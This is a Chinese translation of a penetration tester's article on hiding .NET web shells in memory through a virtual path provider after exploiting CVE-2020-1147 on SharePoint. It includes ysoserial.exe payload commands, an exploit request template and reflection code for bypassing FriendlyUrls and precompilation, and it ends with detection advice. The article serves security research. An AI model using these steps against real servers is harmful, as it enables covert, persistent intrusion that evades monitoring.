在最近一次滲透測(cè)試中，我發(fā)現(xiàn)了一個(gè)容易受到CVE-2020-1147 影響的SharePoint實(shí)例。我被要求在不運(yùn)行任何命令的情況下構(gòu)建Web Shell，以避免任何可能部署在主機(jī)上的EDR解決方案。由于目標(biāo)SharePoint服務(wù)器以最小的特權(quán)在IUSR用戶下運(yùn)行，因此我們不能簡(jiǎn)單地通過(guò)利用反序列化漏洞（CVE-2020-1147）在Web目錄中創(chuàng)建Web Shell。我記得以前在運(yùn)行PowerShell命令時(shí)，攻擊很容易被發(fā)現(xiàn)，所以需要更隱蔽的方法！
這篇文章說(shuō)明了當(dāng)我們存在代碼執(zhí)行漏洞但Web目錄不可寫時(shí)如何創(chuàng)建Web Shell，從理論上講，我們應(yīng)該能夠執(zhí)行此操作，因?yàn)槲覀兊拇a正在Web應(yīng)用程序中執(zhí)行，因此我想出了以下兩種解決方案：
使用C＃創(chuàng)建功能全面的Web Shell
盡管我很喜歡使用Web Shell，但是大多數(shù)功能強(qiáng)大的.NET都是HTML和C＃代碼的混合體。因此，清理它們以將其作為純C＃代碼運(yùn)行非常困難且耗時(shí)。我的解決方案是使用aspnet_compiler命令，以便從其臨時(shí)編譯文件中獲取ASPX Web Shell的C＃代碼。
另一個(gè)問(wèn)題是，當(dāng)我們想與嵌入式Web Shell進(jìn)行交互時(shí)，當(dāng)易受攻擊的頁(yè)面和Web Shell期望完全不同的HTTP請(qǐng)求時(shí)，我們可能需要利用我們的易受攻擊的功能，這可能會(huì)導(dǎo)致沖突或根本不適用。因此，URL和正文中所有與Web Shell相關(guān)的參數(shù)以及HTTP動(dòng)詞，內(nèi)容類型，Cookie和其他自定義標(biāo)頭都應(yīng)以某種方式封裝，以便在利用代碼執(zhí)行之后在服務(wù)器端重新創(chuàng)建。盡管自定義JavaScript代碼可能能夠處理某些封裝任務(wù)，但是捕獲HTTP請(qǐng)求的所有必需方面可能并不容易。因此，使用代理處理請(qǐng)求似乎是一種更好，更輕松的方法。例如，可以通過(guò)編寫B(tài)urp Suite擴(kuò)展程序來(lái)完成此操作，該擴(kuò)展程序可以捕獲對(duì)Web Shell的所有請(qǐng)求，這些請(qǐng)求最初是通過(guò)利用代碼執(zhí)行問(wèn)題加載的。此擴(kuò)展可以將Web Shell參數(shù)封裝在HTTP請(qǐng)求的標(biāo)頭中，發(fā)送該HTTP請(qǐng)求以利用代碼執(zhí)行問(wèn)題。使用標(biāo)頭可能會(huì)受到限制，尤其是當(dāng)Web Shell請(qǐng)求包含較大的參數(shù)（例如正在上傳文件時(shí)）時(shí)。但是，使用代理替換字符串可以保證可以在服務(wù)器端重新創(chuàng)建帶有適當(dāng)參數(shù)（例如HTTP正文、內(nèi)容類型、HTTP動(dòng)詞和URL參數(shù)）的預(yù)期HTTP請(qǐng)求，以使Web Shell正常工作。應(yīng)該注意的是，使HTTP請(qǐng)求中的只讀參數(shù)（例如表單參數(shù)）可使用反射寫入是相當(dāng)容易的。另一件需要注意的重要事情是清除任何可能在運(yùn)行web shell代碼之前創(chuàng)建的HTTP響應(yīng)，響應(yīng)還需要在web shell執(zhí)行后結(jié)束，以防止任何意外數(shù)據(jù)干擾來(lái)自web shell的預(yù)期響應(yīng)。
盡管這種技術(shù)看起來(lái)可行，但我還是沒有使用它，因?yàn)樗軓?fù)雜，而且每次操作都需要向服務(wù)器發(fā)送大量web請(qǐng)求，以減少潛在的檢測(cè)風(fēng)險(xiǎn)。
通過(guò)濫用.NET中的虛擬路徑提供程序來(lái)創(chuàng)建虛擬文件（ghost文件）
使用.NET，可以定義虛擬路徑，以便為文件系統(tǒng)以外的其他存儲(chǔ)源提供虛擬文件。此功能非常強(qiáng)大，因?yàn)樗踔量梢杂糜谔鎿Q尚未緩存或編譯的現(xiàn)有文件。這意味著通過(guò)替換現(xiàn)有的.NET文件（例如.aspx，.svc，.ashx，.asmx等）來(lái)顯示攻擊者的預(yù)期內(nèi)容，即使對(duì)于網(wǎng)絡(luò)釣魚或其他系統(tǒng)攻擊也可以派上用場(chǎng)。 SharePoint本身使用類似的方法來(lái)創(chuàng)建ghost頁(yè)面和未托管的頁(yè)面！
該解決方案對(duì)測(cè)試人員而言具有最小的復(fù)雜性，因?yàn)榭梢詫eb Shell直接嵌入初始漏洞利用代碼中。 YSoSerial.Net項(xiàng)目中的GhostWebShell.cs文件顯示了我們創(chuàng)建的用于在易受攻擊的Web應(yīng)用程序上運(yùn)行Web Shell的代碼。
為了使用此代碼，可以對(duì)Web Shell文件的內(nèi)容進(jìn)行base-64編碼并將其存儲(chǔ)在webshellContentsBase64參數(shù)中。 webshellType參數(shù)包含Web Shell擴(kuò)展，而targetVirtualPath參數(shù)包含將在服務(wù)器上創(chuàng)建的虛擬路徑。除了這些參數(shù)外，其他參數(shù)可以保持不變，如果需要更多的自定義，代碼中的注釋就足夠了。
以下命令顯示了如何使用它來(lái)使用YSoSerial.Net生成LosFormatter有效載荷的示例：
- .\ysoserial.exe -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "C:\CoolTools\ysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
應(yīng)該注意的是，在使用ActivitySurrogateSelectorFromFile gadget 之前，應(yīng)該使用ActivitySurrogateDisableTypeCheckgadget，以便為新版本的.NET Framework啟用它。
以下步驟顯示如何使用此技術(shù)在易受CVE-2020-1147攻擊的SharePoint服務(wù)器上創(chuàng)建虛擬Web Shell：
1.準(zhǔn)備基本有效載荷，其中包含利用遠(yuǎn)程代碼執(zhí)行漏洞所需的DataSet有效載荷：
- POST /_layouts/15/quicklinks.aspx?Mode=Suggestion HTTP/1.1
- uthorization: [ntlm auth header]
- Content-Type: application/x-www-form-urlencoded
- Host: [target]
- Content-Length: [length of body]
- __VIEWSTATE=&__SUGGESTIONSCACHE__=[DataSet payload from YSoSerial.Net]
2.生成并發(fā)送數(shù)據(jù)集有效載荷以禁用ActivitySurrogateSelector的.NET Framework v4.8 +類型保護(hù)：
- .\ysoserial.exe -p SharePoint
3.生成并發(fā)送數(shù)據(jù)集有效載荷以運(yùn)行虛擬Web Shell：
- .\ysoserial.exe -p SharePoint
可以更改GhostWebShell.cs文件，使其更具自定義性，以提供多個(gè)文件以及隱藏自身，直到看到特殊的標(biāo)頭或文件名為止。當(dāng)尚未編譯現(xiàn)有目錄中的特定文件時(shí)，更改IsPathVirtual函數(shù)也很方便。目前，它會(huì)響應(yīng)所有傳入的請(qǐng)求，但是你可能希望將其限制為某些名稱，或者檢查文件擴(kuò)展名以提供不同的內(nèi)容。
繞過(guò)Microsoft.AspNet.FriendlyUrls
從.NET 4.5開始，Web應(yīng)用程序可以使用友好的URL在指向ASPX頁(yè)面時(shí)不使用URL中的“.aspx”，這可以阻止我們創(chuàng)建ghost web shell的方法。下面的解決方案可以為使用此功能的Web應(yīng)用程序覆蓋此設(shè)置。
- foreach(var route in System.Web.Routing.RouteTable.Routes)
- {
- if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute") {
- var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
-
- var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
- settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
-
- FriendlySetting.SetValue(route, settings);
- }
- }
該代碼已包含在GhostWebShell.cs文件中，需要時(shí)，該注釋無(wú)需取消注釋（創(chuàng)建有效載荷也需要Microsoft.AspNet.FriendlyUrls.dll文件）。
繞過(guò)預(yù)編譯的限制
當(dāng)應(yīng)用程序處于預(yù)編譯模式時(shí)，.NET中的虛擬路徑提供程序無(wú)法注冊(cè)。但是，由于我們已經(jīng)可以在應(yīng)用程序上執(zhí)行代碼，因此可以使用反射更改System.Web.Compilation.BuildManager.IsPrecompiledApp屬性。該代碼已包含在YSoSerial.Net項(xiàng)目的GhostWebShell.cs文件中。
結(jié)果，即使應(yīng)用程序處于預(yù)編譯模式，也可以創(chuàng)建虛擬Web Shell。
利用其他Web處理程序
當(dāng)利用代碼執(zhí)行漏洞時(shí)，虛擬文件方法將起作用，該代碼執(zhí)行漏洞使用另一個(gè)Web處理程序，例如用于Web服務(wù)的處理程序。盡管他們的響應(yīng)可能不會(huì)顯示虛擬Web Shell的執(zhí)行，但是仍然可以通過(guò)直接在瀏覽器中瀏覽到虛擬Web Shell來(lái)訪問(wèn)它。
虛擬文件檢測(cè)機(jī)制
盡管虛擬文件僅存在于內(nèi)存中，但是它們的編譯版本保存在臨時(shí)位置中，該臨時(shí)位置用于.NET頁(yè)的編譯，默認(rèn)目錄通常采用以下格式：
- C:\Windows\Microsoft.NET\Framework64|Framework\v[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]\
因此，通過(guò)檢測(cè)新創(chuàng)建的臨時(shí)文件，有可能檢測(cè)到惡意編譯文件。應(yīng)該注意的是，在應(yīng)用程序的默認(rèn)目錄中接管未編譯的. net文件是可能的。因此，除非應(yīng)用程序處于預(yù)編譯模式，否則檢測(cè)新創(chuàng)建的文件名不能用作安全檢測(cè)機(jī)制，因此，不應(yīng)創(chuàng)建新的已編譯文件。
如果你不需要在文件系統(tǒng)上創(chuàng)建任何文件，則可以考慮將本文中討論的第一個(gè)解決方案（在C＃中創(chuàng)建可正常運(yùn)行的Web Shell）作為替代方案。但是，此解決方案具有通過(guò)檢測(cè)未加密的流量以獲取特定簽名或檢測(cè)到從特定來(lái)源向特定目標(biāo)發(fā)出的異常大的Web請(qǐng)求的檢測(cè)風(fēng)險(xiǎn)。
本文翻譯自：https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/如若轉(zhuǎn)載，請(qǐng)注明原文地址。
